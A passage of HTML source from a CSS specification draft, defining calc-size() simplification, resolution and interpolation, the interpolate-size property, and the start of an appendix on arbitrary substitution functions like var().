id="simplifying-calc-size">10.1. Simplifying <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size⑧">calc-size()</a><a class="self-link" href="#simplifying-calc-size"></a></h3> Similar to <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#math-function" id="ref-for-math-function⑨">math functions</a>, at both <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#specified-value" id="ref-for-specified-value①">specified value</a> and <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#computed-value" id="ref-for-computed-value②⓪">computed value</a> times the <a data-link-type="dfn" href="#calc-size-calculation" id="ref-for-calc-size-calculation①">calc-size calculation</a> (and the <a data-link-type="dfn" href="#calc-size-basis" id="ref-for-calc-size-basis①">calc-size basis</a>, if it’s a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum②②"><calc-sum></a>) are simplified to the extent possible, as defined in <a href="https://www.w3.org/TR/css-values-4/#calc-simplification"><cite>CSS Values 4</cite> § 10.10.1 Simplification</a>. <div class="algorithm" data-algorithm="canonicalize for interpolation" data-algorithm-for="calc-size()"> To <dfn class="dfn-paneled" data-dfn-for="calc-size()" data-dfn-type="dfn" data-export id="calc-size-canonicalize-for-interpolation">canonicalize for interpolation</dfn> a <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size⑨">calc-size()</a> function: <dl class="switch"> <dt data-md>If the <a data-link-type="dfn" href="#calc-size-basis" id="ref-for-calc-size-basis②">calc-size basis</a> is a <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size①⓪">calc-size()</a> function itself <dd data-md> The <a data-link-type="dfn" href="#calc-size-basis" id="ref-for-calc-size-basis③">calc-size basis</a> of the outer function is replaced with that of the inner function, and the inner function’s <a data-link-type="dfn" href="#calc-size-calculation" id="ref-for-calc-size-calculation②">calc-size calculation</a> is <a data-link-type="dfn" href="#substitute-into-a-calc-size-calculation" id="ref-for-substitute-into-a-calc-size-calculation">substituted</a> into the outer function’s calc-size calculation. <dt data-md>Otherwise, if the <a data-link-type="dfn" href="#calc-size-basis" id="ref-for-calc-size-basis④">calc-size basis</a> is a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum②③"><calc-sum></a> whose <a data-link-type="dfn" href="https://www.w3.org/TR/css-typed-om-1/#cssnumericvalue-type" id="ref-for-cssnumericvalue-type①">type</a> <a data-link-type="dfn" href="https://www.w3.org/TR/css-typed-om-1/#cssnumericvalue-match" id="ref-for-cssnumericvalue-match①">matches</a> <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#length-value" id="ref-for-length-value①③"><length></a> (no percentage present) <dd data-md> Replace the basis with any, and the original basis is <a data-link-type="dfn" href="#substitute-into-a-calc-size-calculation" id="ref-for-substitute-into-a-calc-size-calculation①">substituted</a> into the <a data-link-type="dfn" href="#calc-size-calculation" id="ref-for-calc-size-calculation④">calc-size calculation</a>. <dt data-md>Otherwise, if the <a data-link-type="dfn" href="#calc-size-basis" id="ref-for-calc-size-basis⑤">calc-size basis</a> is any other <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum②④"><calc-sum></a> (contains a percentage) <dd data-md> Replace the basis with 100% and the original basis is <a data-link-type="dfn" href="#de-percentify-a-calc-size-calculation" id="ref-for-de-percentify-a-calc-size-calculation">de-percentified</a>, then <a data-link-type="dfn" href="#substitute-into-a-calc-size-calculation" id="ref-for-substitute-into-a-calc-size-calculation②">substituted</a> into the <a data-link-type="dfn" href="#calc-size-calculation" id="ref-for-calc-size-calculation⑤">calc-size calculation</a>. </dl> (The above is performed recursively, if necessary.) If any <a data-link-type="dfn" href="#substitute-into-a-calc-size-calculation" id="ref-for-substitute-into-a-calc-size-calculation③">substitute into a calc-size calculation</a> returns failure, the entire operation immediately returns failure. Note: After canonicalization, a <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size①①">calc-size()</a> function will only have a <a data-link-type="dfn" href="#calc-size-basis" id="ref-for-calc-size-basis⑥">calc-size basis</a> that’s a keyword, or the value 100%. </div> <details class="note"> <summary>Why are percentages simplified in this way?</summary> This percentage simplification ensures that transitions work linearly. For example, say that 100% is 100px, for simplicity. If you transitioned from `calc-size(100px, size * 2)` (resolves to 200px) to `calc-size(50%, size - 20px)` (resolves to 30px) by interpolating both the arguments, then at the halfway point you’d have `calc-size(75px, size * 2 * .5 + (size - 20px) * .5)` (resolves to 102.5px), which is *not* halfway between 30 and 200 (that would be 115px). Interpolating one argument, then substituting it into another calculation and interpolating that one too, generally gives quadratic interpolation behavior. Instead, we substitute the basis arg into the calculation arg, so you get `calc-size(percentage, 100px * 2)` and `calc-size(percentage, (size * .5) - 20px)`, and when interpolated, at the halfway point you get `calc-size(percentage, 100px * 2 * .5 + ((size * .5) - 20px) * .5)`, which does indeed resolve to 115px, as expected. Other points in the transition are similarly linear. </details> <div class="algorithm" data-algorithm="de-percentify a calc-size calculation"> To <dfn class="dfn-paneled" data-dfn-type="dfn" data-export id="de-percentify-a-calc-size-calculation">de-percentify a calc-size calculation</dfn> <var>calc</var>: <ol> <li data-md> Replace every instance of a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-percentage-token" id="ref-for-typedef-percentage-token②"><percentage-token></a> in <var>calc</var> with (size * N), where N is the percentage’s value divided by 100. Return <var>calc</var>. </ol> Note: For example, 50% + 20px becomes (size * .5) + 20px. </div> <div class="algorithm" data-algorithm="substitute into a calc-size calculation"> To <dfn class="dfn-paneled" data-dfn-type="dfn" data-export id="substitute-into-a-calc-size-calculation">substitute into a calc-size calculation</dfn> <var>calc</var> a value <var>insertion value</var>: <ol> <li data-md> If <var>calc</var> doesn’t have the <a class="css" data-link-type="maybe" href="#valdef-calc-size-size" id="ref-for-valdef-calc-size-size">size</a> keyword in it, do nothing. <li data-md> Otherwise, replace every instance of the <a class="css" data-link-type="maybe" href="#valdef-calc-size-size" id="ref-for-valdef-calc-size-size①">size</a> keyword in <var>calc</var> with <var>insertion value</var>, wrapped in parentheses. <li data-md> If this substitution would produce a value larger than an UA-defined limit, return failure. Note: This is intentionally identical to the protection against substitution attacks defined for variable substitution; see <a href="https://www.w3.org/TR/css-variables-1/#long-variables"><cite>CSS Variables 1</cite> § 3.3 Safely Handling Overly-Long Variables</a>. However, the use-cases for very long <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size①②">calc-size()</a> values are much less than for long custom properties, so UAs might wish to impose a smaller size limit. </ol> </div> <h3 class="heading settled" data-level="10.2" id="resolving-calc-size">10.2. Resolving <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size①③">calc-size()</a><a class="self-link" href="#resolving-calc-size"></a></h3> A <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size①④">calc-size()</a> is treated, in all respects, as if it were its <a data-link-type="dfn" href="#calc-size-basis" id="ref-for-calc-size-basis⑦">calc-size basis</a> (with <a class="css" data-link-type="maybe" href="#valdef-calc-size-any" id="ref-for-valdef-calc-size-any①">any</a> acting as an unspecified <a data-link-type="dfn" href="https://www.w3.org/TR/css-sizing-3/#definite" id="ref-for-definite②">definite</a> size). When actually performing layout calculations, however, the size represented by its <a data-link-type="dfn" href="#calc-size-basis" id="ref-for-calc-size-basis⑧">calc-size basis</a> is modified to be the value of its <a data-link-type="dfn" href="#calc-size-calculation" id="ref-for-calc-size-calculation⑥">calc-size calculation</a>, with the <a class="css" data-link-type="maybe" href="#valdef-calc-size-size" id="ref-for-valdef-calc-size-size②">size</a> keyword evaluating to the calc-size basis’s original size. (If the <a data-link-type="dfn" href="#calc-size-basis" id="ref-for-calc-size-basis①⓪">calc-size basis</a> is <dfn class="dfn-paneled css" data-dfn-for="calc-size()" data-dfn-type="value" data-export id="valdef-calc-size-any">any</dfn>, the <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size①⑤">calc-size()</a> is a <a data-link-type="dfn" href="https://www.w3.org/TR/css-sizing-3/#definite" id="ref-for-definite③">definite</a> length, equal to its <a data-link-type="dfn" href="#calc-size-calculation" id="ref-for-calc-size-calculation⑦">calc-size calculation</a>.) <div class="example" id="example-7fcb8b17"><a class="self-link" href="#example-7fcb8b17"></a> For example, an element with <a class="css" data-link-type="propdesc" href="https://www.w3.org/TR/css-sizing-3/#propdef-height" id="ref-for-propdef-height②">height: calc-size(auto, round(up, size, 20px))</a> will be treated identically to an element with height: auto, but with its size rounded up to the nearest multiple of 20px. </div> When evaluating the <a data-link-type="dfn" href="#calc-size-calculation" id="ref-for-calc-size-calculation⑧">calc-size calculation</a>, if percentages are not definite in the given context, they resolve to 0px. Otherwise, they resolve as normal. (A percentage in the <a data-link-type="dfn" href="#calc-size-basis" id="ref-for-calc-size-basis①①">calc-size basis</a> is treated differently; <a href="#simplifying-calc-size">simplification</a> moves the percentage into the <a data-link-type="dfn" href="#calc-size-calculation" id="ref-for-calc-size-calculation⑨">calc-size calculation</a> and replaces it with <a class="css" data-link-type="maybe" href="#valdef-calc-size-size" id="ref-for-valdef-calc-size-size③">size</a> references. The calc-size basis then becomes 100%, behaving as whatever 100% would normally do in that context, including possibly making a property <a data-link-type="dfn" href="https://www.w3.org/TR/css-sizing-3/#behave-as-auto" id="ref-for-behave-as-auto">behave as auto</a>, etc.) <div class="note" role="note"> Percentages in the basis work as normal so you can always smoothly transition to any size, regardless of its value or behavior. For example, without <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size①⑥">calc-size()</a>, transitioning from 100% to 0px only works smoothly if the percentage is <a data-link-type="dfn" href="https://www.w3.org/TR/css-sizing-3/#definite" id="ref-for-definite④">definite</a>; if it’s not, then during the entire transition the property might <a data-link-type="dfn" href="https://www.w3.org/TR/css-sizing-3/#behave-as-auto" id="ref-for-behave-as-auto①">behave as auto</a> and not actually change size at all. Percentages in the calculation, on the other hand, are resolved to 0 when indefinite to avoid making the <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size①⑦">calc-size()</a> potentially act in two different ways; there are some cases where a <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-sizing-3/#valdef-width-min-content" id="ref-for-valdef-width-min-content①">min-content</a> size will cause different layout effects than a 100% size, and so a calc-size() has to masquerade as one or the other. </div> <h3 class="heading settled" data-level="10.3" id="interp-calc-size">10.3. Interpolating <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size①⑨">calc-size()</a><a class="self-link" href="#interp-calc-size"></a></h3> Two <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size②⓪">calc-size()</a> functions can be interpolated if (after being <a data-link-type="dfn" href="#calc-size-canonicalize-for-interpolation" id="ref-for-calc-size-canonicalize-for-interpolation">canonicalized for interpolation</a>): <dl class="switch"> <dt data-md>Either function returned failure from being <a data-link-type="dfn" href="#calc-size-canonicalize-for-interpolation" id="ref-for-calc-size-canonicalize-for-interpolation①">canonicalized for interpolation</a> <dd data-md> The values cannot be interpolated. <dt data-md>Both <a data-link-type="dfn" href="#calc-size-basis" id="ref-for-calc-size-basis①③">calc-size basises</a> are identical <dd data-md> The result’s <a data-link-type="dfn" href="#calc-size-basis" id="ref-for-calc-size-basis①④">calc-size basis</a> is the that basis value. <dt data-md>Either <a data-link-type="dfn" href="#calc-size-basis" id="ref-for-calc-size-basis①⑤">calc-size basis</a> is <a class="css" data-link-type="maybe" href="#valdef-calc-size-any" id="ref-for-valdef-calc-size-any②">any</a> <dd data-md> The result’s <a data-link-type="dfn" href="#calc-size-basis" id="ref-for-calc-size-basis①⑥">calc-size basis</a> is the non-<a class="css" data-link-type="maybe" href="#valdef-calc-size-any" id="ref-for-valdef-calc-size-any③">any</a> basis. </dl> The result’s <a data-link-type="dfn" href="#calc-size-calculation" id="ref-for-calc-size-calculation①⓪">calc-size calculation</a> is the interpolation of the two input calc-size calculations. Note: These interpolation restrictions ensure that a <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size②①">calc-size()</a> doesn’t try to act in two different ways at once; there are some cases where a <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-sizing-3/#valdef-width-min-content" id="ref-for-valdef-width-min-content②">min-content</a> and <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-sizing-3/#valdef-width-max-content" id="ref-for-valdef-width-max-content">max-content</a> would produce different layout behaviors, for example, so the calc-size() has to masquerade as one or the other. This, unfortunately, means you can’t transition between keywords, like going from <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-sizing-3/#valdef-width-auto" id="ref-for-valdef-width-auto③">auto</a> to min-content. Some <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size②③">calc-size()</a> values can also be interpolated with a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-length-percentage" id="ref-for-typedef-length-percentage②⓪"><length-percentage></a> or an <a class="production css" data-link-type="type" href="#typedef-intrinsic-size-keyword" id="ref-for-typedef-intrinsic-size-keyword①"><intrinsic-size-keyword></a>. To determine whether the values can interpolate and what the interpolation behavior is, treat the non-calc-size() value as calc-size(any, <var>value</var> ) if the value is a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum②⑤"><calc-sum></a> or as calc-size( <var>value</var> , size) otherwise, and apply the rules above. <div class="example" id="example-4f69fe99"> <a class="self-link" href="#example-4f69fe99"></a> For example, <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size②⑤">calc-size()</a> allows interpolation to/from <a class="css" data-link-type="propdesc" href="https://www.w3.org/TR/css-sizing-3/#propdef-height" id="ref-for-propdef-height④">height: auto</a>: <pre class="lang-css highlight">details <c- p>{</c-> <c- k>transition</c-><c- p>:</c-> height <c- m>1</c-><c- k>s</c-><c- p>;</c-> <c- p>}</c-> details::details-content <c- p>{</c-> <c- k>display</c-><c- p>:</c-> block<c- p>;</c-> <c- p>}</c-> details<c- p>[</c->open<c- p>]</c->::details-content <c- p>{</c-> <c- k>height</c-><c- p>:</c-> auto<c- p>;</c-> <c- p>}</c-> details<c- nf>:not</c-><c- p>([</c->open<c- p>])</c->::details-content <c- p>{</c-> <c- k>height</c-><c- p>:</c-> <c- nf>calc-size</c-><c- p>(</c->any<c- p>,</c-> <c- m>0</c-><c- k>px</c-><c- p>);</c-> <c- p>}</c-> </pre> This will implicitly interpolate between calc-size(auto, size) and calc-size(any, 0px). Half a second after opening the <code><a data-link-type="element" href="https://html.spec.whatwg.org/multipage/interactive-elements.html#the-details-element" id="ref-for-the-details-element">details</a></code>, the ::details-content wrapper’s <a class="property css" data-link-type="property" href="https://www.w3.org/TR/css-sizing-3/#propdef-height" id="ref-for-propdef-height⑤">height</a> will be calc-size(auto, size * .5), half its open size; thruout the transition it’ll smoothly animate its height. </div> Note: <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size②⑥">calc-size()</a> is designed such that transitioning to/from calc-size(any, <a data-link-type="dfn" href="https://www.w3.org/TR/css-sizing-3/#definite" id="ref-for-definite⑤">definite</a> length) will always work smoothly, regardless of how the other side of the transition is specified. Note: This "upgrade a plain value into a <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size②⑦">calc-size()</a>" behavior puts <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-length-percentage" id="ref-for-typedef-length-percentage②①"><length-percentage></a> values into the <a data-link-type="dfn" href="#calc-size-calculation" id="ref-for-calc-size-calculation①②">calc-size calculation</a>. This allows values with percentages to interpolate with intrinsic size keywords, but does mean that when a percentage isn’t <a data-link-type="dfn" href="https://www.w3.org/TR/css-sizing-3/#definite" id="ref-for-definite⑥">definite</a>, it’ll resolve to zero. If you want to resolve to the actual size the percentage would make the element, explicitly write a calc-size() with the value in its <a data-link-type="dfn" href="#calc-size-basis" id="ref-for-calc-size-basis①⑦">calc-size basis</a>, like calc-size(50%, size). <h3 class="heading settled" data-level="10.4" id="interpolate-size">10.4. Interpolating sizing keywords: the <a class="property css" data-link-type="property" href="#propdef-interpolate-size" id="ref-for-propdef-interpolate-size">interpolate-size</a> property<a class="self-link" href="#interpolate-size"></a></h3> Note: If we had a time machine, this property wouldn’t need to exist. It exists because many existing style sheets assume that intrinsic sizing keywords (such as <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-sizing-3/#valdef-width-auto" id="ref-for-valdef-width-auto④">auto</a>, <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-sizing-3/#valdef-width-min-content" id="ref-for-valdef-width-min-content④">min-content</a>, etc.) cannot animate. Therefore this property exists to allow style sheets to choose to get the expected behavior. Specifying <a class="css" data-link-type="propdesc" href="#propdef-interpolate-size" id="ref-for-propdef-interpolate-size①">interpolate-size: allow-keywords</a> on the root element chooses the new behavior for the entire page. We suggest doing this whenever compatibility isn’t an issue. <table class="def propdef" data-link-for-hint="interpolate-size"> <tbody> <tr> <th>Name: <td><dfn class="dfn-paneled css" data-dfn-type="property" data-export id="propdef-interpolate-size">interpolate-size</dfn> <tr class="value"> <th><a href="https://www.w3.org/TR/css-values/#value-defs">Value:</a> <td class="prod">numeric-only <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one①⓪⑧">|</a> allow-keywords <tr> <th><a href="https://www.w3.org/TR/css-cascade/#initial-values">Initial:</a> <td>numeric-only <tr> <th><a href="https://www.w3.org/TR/css-cascade/#applies-to">Applies to:</a> <td><a href="https://www.w3.org/TR/css-pseudo/#generated-content" title="Includes ::before and ::after pseudo-elements.">all elements</a> <tr> <th><a href="https://www.w3.org/TR/css-cascade/#inherited-property">Inherited:</a> <td>yes <tr> <th><a href="https://www.w3.org/TR/css-values/#percentages">Percentages:</a> <td>n/a <tr> <th><a href="https://www.w3.org/TR/css-cascade/#computed">Computed value:</a> <td>as specified <tr> <th><a href="https://www.w3.org/TR/cssom/#serializing-css-values">Canonical order:</a> <td>per grammar <tr> <th><a href="https://www.w3.org/TR/web-animations/#animation-type">Animation type:</a> <td>not animatable </table> <dl> <dt><dfn class="dfn-paneled css" data-dfn-for="interpolate-size" data-dfn-type="value" data-export id="valdef-interpolate-size-numeric-only">numeric-only</dfn> <dd> An <a class="production css" data-link-type="type" href="#typedef-intrinsic-size-keyword" id="ref-for-typedef-intrinsic-size-keyword②"><intrinsic-size-keyword></a> cannot be interpolated. <dt><dfn class="dfn-paneled css" data-dfn-for="interpolate-size" data-dfn-type="value" data-export id="valdef-interpolate-size-allow-keywords">allow-keywords</dfn> <dd> Two values can also be interpolated if one of them is an <a class="production css" data-link-type="type" href="#typedef-intrinsic-size-keyword" id="ref-for-typedef-intrinsic-size-keyword③"><intrinsic-size-keyword></a> and the other is a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-length-percentage" id="ref-for-typedef-length-percentage②②"><length-percentage></a>. This is done by treating the <intrinsic-size-keyword> <var>keyword</var> as though it is calc-size(<var>keyword</var>, size) and applying the rules in <a href="#interp-calc-size">§ 10.3 Interpolating calc-size()</a>. In other cases, an <intrinsic-size-keyword> still cannot be interpolated. </dl> The value of <a class="property css" data-link-type="property" href="#propdef-interpolate-size" id="ref-for-propdef-interpolate-size②">interpolate-size</a> that matters is the computed value on the element at the time the animation might start. For CSS transitions, this means the value in the <a data-link-type="dfn" href="https://www.w3.org/TR/css-transitions-1/#after-change-style" id="ref-for-after-change-style">after-change style</a>. An animation is not stopped or started later because interpolate-size changes. <h2 class="heading settled" id="arbitrary-substitution"> Appendix A: Arbitrary Substitution Functions<a class="self-link" href="#arbitrary-substitution"></a></h2> An <dfn class="dfn-paneled" data-dfn-type="dfn" data-export id="arbitrary-substitution-function">arbitrary substitution function</dfn> is a <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#functional-notation" id="ref-for-functional-notation①①">functional notation</a> that will, when resolved, substitute itself with other values that are potentially unknowable at parse time—and must therefore be parsed while resolving its <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#computed-value" id="ref-for-computed-value②①">computed value</a>. Note: Since <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function①⓪">arbitrary substitution functions</a> resolve at <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#computed-value" id="ref-for-computed-value②②">computed value</a> time, if the resulting value after substitution is invalid, the property falls back (essentially) to <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-cascade-5/#valdef-all-unset" id="ref-for-valdef-all-unset">unset</a> behavior, rather than falling back to an earlier value in the <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#x12" id="ref-for-x12">cascade</a> the way declarations invalid at parse time do. See <a href="#invalid-substitution">Invalid Substitution</a>. Unless otherwise specified, <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function①①">arbitrary substitution functions</a> can be used in place of any part of any property’s value (including within other <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#functional-notation" id="ref-for-functional-notation①②">functional notations</a>); and are not valid in any other context. <a class="self-link" href="#issue-2cf4bbb3"></a> Should any of these functions be valid in contexts outside of properties? <div class="example" id="example-43a8c543"> <a class="self-link" href="#example-43a8c543"></a> For example, the following code incorrectly attempts to use a variable as a property name: <pre class="highlight">.foo <c- p>{</c-> <c- k>--side</c-><c- p>:</c-> margin-top<c- p>;</c-> <c- nf>var</c-><c- p>(</c->--side<c- p>)</c->: <c- m>20</c-><c- k>px</c-><c- p>;</c-> <c- p>}</c-> </pre> This is not equivalent to setting <a class="css" data-link-type="propdesc" href="https://www.w3.org/TR/CSS21/box.html#propdef-margin-top" id="ref-for-propdef-margin-top">margin-top: 20px;</a>. Instead, the second declaration is simply thrown away as a syntax error for having an invalid property name. </div> If a property value contains one or more <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function①②">arbitrary substitution functions</a>, and those functions are themselves syntactically valid, the entire value’s grammar must be assumed to be valid at parse time. <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function①③">Arbitrary substitution functions</a> are <a data-link-type="dfn" href="#substitute-arbitrary-substitution-function" id="ref-for-substitute-arbitrary-substitution-function②">substituted</a> during style <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#computed-value" id="ref-for-computed-value②③">computation</a>, before any other value transformations or introspection can occur. If a property, after substitution, does not match its declared grammar, the declaration is <a data-link-type="dfn" href="#invalid-at-computed-value-time" id="ref-for-invalid-at-computed-value-time⑧">invalid at computed-value time</a>. If a property value, after <a data-link-type="dfn" href="#substitute-arbitrary-substitution-function" id="ref-for-substitute-arbitrary-substitution-function④">substitution</a>, contains only a single <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#css-wide-keywords" id="ref-for-css-wide-keywords①">CSS-wide keyword</a> (and possibly whitespace/comments), its value is determined as if that keyword were its <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#specified-value" id="ref-for-specified-value②">specified value</a> all along. <div class="example" id="example-b87fa983"> <a class="self-link" href="#example-b87fa983"></a> For example, the following usage is fine from a syntax standpoint, but results in nonsense when the variable is substituted in: <pre class="highlight">:root <c- p>{</c-> <c- k>--looks-valid</c-><c- p>:</c-> <c- m>20</c-><c- k>px</c-><c- p>;</c-> <c- p>}</c-> p <c- p>{</c-> <c- k>background-color</c-><c- p>:</c-> <c- nf>var</c-><c- p>(</c->--looks-valid<c- p>);</c-> <c- p>}</c-> </pre> Since 20px is an invalid value for <a class="property css" data-link-type="property" href="https://www.w3.org/TR/CSS21/colors.html#propdef-background-color" id="ref-for-propdef-background-color">background-color</a>, the property becomes <a data-link-type="dfn" href="#invalid-at-computed-value-time" id="ref-for-invalid-at-computed-value-time⑨">invalid at computed-value time</a>, and instead resolves to <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-color-4/#valdef-color-transparent" id="ref-for-valdef-color-transparent">transparent</a> (the <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#x1" id="ref-for-x1①">initial value</a> for background-color). If the property was one that’s inherited by default, such as <a class="property css" data-link-type="property" href="https://www.w3.org/TR/css-color-4/#propdef-color" id="ref-for-propdef-color">color</a>, it would compute to the inherited value rather than the initial value. </div> <div class="example" id="example-7afce32e"> <a class="self-link" href="#example-7afce32e"></a> While a <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-variables-1/#funcdef-var" id="ref-for-funcdef-var①①">var()</a> function can’t get a <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#css-wide-keywords" id="ref-for-css-wide-keywords②">CSS-wide keyword</a> from the <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#custom-property" id="ref-for-custom-property⑧">custom property</a> itself—if you tried to specify that, like <a class="css" data-link-type="propdesc">--foo: initial;</a>, it would just trigger <a href="https://www.w3.org/TR/css-cascade-4/#defaulting-keywords">explicit defaulting</a> for the custom property—it can have a CSS-wide keyword in its fallback: <pre class="highlight">p <c- p>{</c-> <c- k>color</c-><c- p>:</c-> <c- nf>var</c-><c- p>(</c->--does-not-exist<c- p>,</c-> initial<c- p>);</c-> <c- p>}</c-> </pre> In the above code, if the --does-not-exist property didn’t exist or is <a data-link-type="dfn" href="#invalid-at-computed-value-time" id="ref-for-invalid-at-computed-value-time①⓪">invalid at computed-value time</a>, the <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-variables-1/#funcdef-var" id="ref-for-funcdef-var①②">var()</a> will instead substitute in the <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-cascade-5/#valdef-all-initial" id="ref-for-valdef-all-initial">initial</a> keyword, making the property behave as if it was originally <a class="css" data-link-type="propdesc" href="https://www.w3.org/TR/css-color-4/#propdef-color" id="ref-for-propdef-color①">color: initial</a>. This will make it take on the document’s initial color value, rather than defaulting to inheritance, as it would if there were no fallback. </div> Each <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function①④">arbitrary substitution function</a> must define how to <dfn class="dfn-paneled" data-dfn-type="dfn" data-export id="resolve-an-arbitrary-substitution-function">resolve an arbitrary substitution function</dfn> for itself, returning optional <var>result</var> and <var>fallback</var> values. The <var>result</var> is used to replace the function as long as it does not contain the <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#guaranteed-invalid-value" id="ref-for-guaranteed-invalid-value⑧">guaranteed-invalid value</a>; the <var>fallback</var> is used otherwise. (The <var>fallback</var> does not need to be resolved in any way; <a data-link-type="dfn" href="#substitute-arbitrary-substitution-function" id="ref-for-substitute-arbitrary-substitution-function⑤">substitution</a> will handle that if it’s actually used.) Note: See, for example, <a data-link-type="dfn">resolve a var() function</a>. <div class="algorithm" data-algorithm="substitute arbitrary substitution function"> To <dfn class="dfn-paneled" data-dfn-type="dfn" data-export data-local-lt="substitute|substitution" data-lt="substitute arbitrary substitution function|arbitrary substitution" id="substitute-arbitrary-substitution-function">substitute arbitrary substitution functions</dfn> in a <var>value</var>: <ol> <li data-md> <a data-link-type="dfn" href="https://infra.spec.whatwg.org/#list-iterate" id="ref-for-list-iterate">For each</a> <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function①⑤">arbitrary substitution function</a> <var>func</var> in <var>value</var>: <ol> <li data-md> <a data-link-type="dfn" href="https://webidl.spec.whatwg.org/#resolve" id="ref-for-resolve">Resolve</a> <var>func</var>. Let <var>result</var> be the returned result, and <var>fallback</var> be the returned fallback. If no <var>result</var> was returned, set <var>result</var> to the <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#guaranteed-invalid-value" id="ref-for-guaranteed-invalid-value⑨">guaranteed-invalid value</a>. If no <var>fallback</var> was returned, set <var>fallback</var> to the guaranteed-invalid value. <li data-md> <dl class="switch"> <dt data-md>If <var>result</var> does not contain the <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#guaranteed-invalid-value" id="ref-for-guaranteed-invalid-value①①">guaranteed-invalid value</a> <dd data-md> Replace <var>func</var> in <var>value</var> with <var>result</var>. <dt data-md>Otherwise, if <var>fallback</var> does not contain the <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#guaranteed-invalid-value" id="ref-for-guaranteed-invalid-value①②">guaranteed-invalid value</a> <dd data-md> Replace <var>func</var> in <var>value</var> with <var>fallback</var>. <dt data-md>Otherwise <dd data-md> Replace all of <var>value</var> with the <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#guaranteed-invalid-value" id="ref-for-guaranteed-invalid-value①③">guaranteed-invalid value</a>. Exit this algorithm. </dl> </ol> <li data-md> If there are still <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function①⑥">arbitrary substitution functions</a> in <var>value</var> (due to substitution), repeat the previous step. <li data-md> Grammar-check <var>value</var> according to its context as normal. If it is not valid at this point, replace <var>value</var> with the <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#guaranteed-invalid-value" id="ref-for-guaranteed-invalid-value①④">guaranteed-invalid value</a>. </ol> </div> <div class="note" role="note"> Note that <a data-link-type="dfn" href="#substitute-arbitrary-substitution-function" id="ref-for-substitute-arbitrary-substitution-function⑥">substitution</a> takes place at the level of CSS tokens <a 